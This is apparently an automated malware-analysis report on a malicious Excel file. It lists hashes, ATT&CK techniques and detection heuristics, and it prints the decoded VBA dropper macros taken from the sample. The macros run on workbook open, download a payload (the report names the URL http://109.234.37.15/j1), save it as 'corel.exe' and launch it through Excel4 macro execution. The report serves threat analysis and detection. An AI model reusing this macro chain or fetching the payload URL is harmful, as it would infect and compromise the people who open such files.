Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 304232d307e36dab…

MALICIOUS

Office (OLE)

149.0 KB Created: 2019-07-18 19:19:14 Authoring application: Microsoft Excel First seen: 2019-11-20
MD5: 565d5a1d67ebbb539ae6b921cd463b95 SHA-1: 9d5c5b972cc1f6b830b592e5edd020ffe10adfb8 SHA-256: 304232d307e36dab7176b234c60e800033152f35e6ad055d97ef20cc8953e54d
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The sample is an Excel file containing VBA macros, including a Workbook_Open event, which is a common technique for executing malicious code upon opening. The script utilizes `CreateObject` and `CallByName` to launch an Excel4 macro via `ExecuteExcel4Macro`. This macro attempts to save a file named 'corel.exe' and execute it, likely downloading a second-stage payload from the embedded URL http://109.234.37.15/j1. The ClamAV detection 'Xls.Dropper.Agent-7344024-0' further confirms its malicious nature as a dropper.

Heuristics 8

  • ClamAV: Xls.Dropper.Agent-7344024-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Agent-7344024-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA ActiveX event launches decoded Excel4 macro critical OLE_VBA_ACTIVEX_XLM_STAGER
    The compiled VBA p-code (identifier table) references an auto-firing ActiveX/control event together with ExecuteExcel4Macro, while the decompressed source does not — the VBA-stomping shape of the ActiveX-event XLM stager. The control event bridges into XLM formula execution to call Win32 / drop payloads, hidden from source-level scanners.
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
     Set Class7.Rocky1 = CreateObject(Class7.TextBox1.Caption)
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
    On Error Resume Next
CallByName Class5, "Show", VbMethod
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub WorkBook_open()
On Error Resume Next
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://109.234.37.15/j1 In document text (OLE body)
    • http://t2.symcb.com0In document text (OLE body)
    • http://tl.symcd.com0&In document text (OLE body)
    • http://t1.symcb.com/ThawtePCA.crl0In document text (OLE body)
    • http://tl.symcb.com/tl.crl0In document text (OLE body)
    • https://www.thawte.com/cps0/In document text (OLE body)
    • https://www.thawte.com/repository0WIn document text (OLE body)
    • http://tl.symcb.com/tl.crt0In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3378 bytes
SHA-256: 3c16373d11cd2dd5aae60d02be00ee5c9aea369c4e640c02869b0f00de762039
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "FadeOut"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Sub WorkBook_open()
On Error Resume Next
CallByName Class5, "Show", VbMethod


End Sub



Attribute VB_Name = "pageNum16"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ClaModu"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Sub PublicSub()

redigeerimise


Dim DirectionComponent_4
Dim DirectionComponent_3
Class7.Label5_Click
Class7.Rocky1.Send

With Class7.Valaar1
    .Type = 1
End With
    Class7.Valaar1.Open
With Class7.Valaar1
    .write Class7.Rocky1.responseBody

End With
#If FR_0 Then
    CallByName Class7.Valaar1, "savet" & "ofile", VbMethod, "corel.e" & "" + "xe", 2

#End If

ExecuteExcel4Macro Class7.T10_Text.Text
ExecuteExcel4Macro "MESSAGE(False, ""Fix Marv"")"
End Sub


Attribute VB_Name = "Class7"
Attribute VB_Base = "0{738491E2-FAF6-456B-A884-4739D0DE3D9F}{7D3B7CE4-8D02-43CB-ADF1-867A727BB404}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Public Rocky2 As Object
 Public Valaar3 As Object
Public Rocky1 As Object
 Public Valaar2 As Object
Public Rocky3 As Object
 Public Valaar1 As Object


Public Sub Label5_Click()
Dim DirectionComponent_5
S1000
Dim DirectionComponent_6
End Sub

Public Sub S1000()
Rocky1.Open Me.Label3.Caption, Me.T10_Text.Tag, False
End Sub
Public Sub frfr4()

End Sub



Attribute VB_Name = "Class5"
Attribute VB_Base = "0{44D2EE93-D92B-4DA4-9410-9CE86288392D}{5B2108A7-5F4B-4DDC-A982-DC77F4EABB8E}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False


Private Sub UserForm_Initialize()

FUnt
Unload Me
End Sub


Attribute VB_Name = "Module1"

Public Sub FUnt()
Dim rd1 As New ClaModu
rd1.PublicSub

End Sub

Public Sub redigeerimise()
Dim time

 
 Set Class7.Rocky1 = CreateObject(Class7.TextBox1.Caption)
time = Format(Now + TimeSerial(0, 1, 1), "hh:mm")

ExecuteExcel4Macro "MESSAGE(False, ""Release"")"



Set Class7.Valaar1 = CreateObject(Class7.Label2.Tag)

Dim fUP:  fUP = 0
#If FR_9 Then

Dim DirectionComponent_5
Dim DirectionComponent_6
Dim DirectionComponent_7
Dim DirectionComponent_9
Dim DirectionComponent_8: DirectionComponent_8 = 8
#End If
Dim DirectionComponent_12

Dim DirectionComponent_11: DirectionComponent_11 = ""
Dim fDOWN:  fDOWN = 0
fDOWN = 1
fDOWN = 2
fDOWN = 3
fDOWN = 4
End Sub

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